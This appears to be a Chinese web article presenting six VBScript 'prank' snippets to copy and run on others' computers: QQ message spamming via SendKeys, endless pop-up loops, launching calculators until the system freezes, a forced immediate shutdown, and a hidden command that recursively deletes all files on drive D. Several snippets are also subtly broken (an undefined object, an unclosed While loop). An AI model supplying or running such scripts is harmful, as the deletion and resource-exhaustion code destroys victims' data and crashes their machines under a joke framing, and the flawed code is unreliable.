vbs整人代码_vbs整人关机代码不管用_vbs简单代码

vbs整人代码_vbs整人关机代码不管用_vbs简单代码

本篇文章集合了多款VBS整人代码，旨在娱乐而非恶意破坏。以下为具体代码及其用途：

一、发送定制次数的QQ信息给好友。

复制代码如下：

On Error Resume Next

Dim wsh,ye

Set wsh=createobject("wscript.shell")

For i=1 to 10

WScript.Sleep 700

Wsh.AppActivate("与 xx 聊天中")

Wsh.SendKeys "^v"

Wsh.SendKeys i

Wsh.SendKeys "%s"

Next

Wscript.Quit

此代码可根据需要调整发送次数，用于恶作剧或娱乐。

二、持续弹出“你真愚蠢！”的对话框。

复制代码如下：

Do

MsgBox "You are foolish!"

Loop

通过此代码，可实现持续弹窗，增添趣味性。

三、打开无数个计算器，直至系统资源耗尽。

复制代码如下：

Do

Wsh.Run "calc"

Loop

通过不断启动计算器程序，达到消耗系统资源、直至死机的目的。

四、直接执行关机命令。

复制代码如下：

Dim WSHshell

Set WSHshell = wscript.createobject("wscript.shell")

WshShell.Run "shutdown -f -s -t 00",0 ,true

此代码执行关机操作，需谨慎使用，避免造成不便。

五、删除指定目录下的所有文件。

复制代码如下：

Dim WSHshell

Set WSHshell = wscript.createobject("wscript.shell")

WshShell.Run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

执行此操作时应确保了解其影响，并避免误删重要文件。

六、不断弹出对话框。

复制代码如下：

While(1)

MsgBox "哈哈 你被耍了！"

此代码持续弹出对话框，用于恶作剧或增添娱乐性。

以上代码均需在谨慎情况下使用，旨在娱乐而非恶意破坏他人设备或系统。请在使用前充分考虑其潜在影响。2024-09-15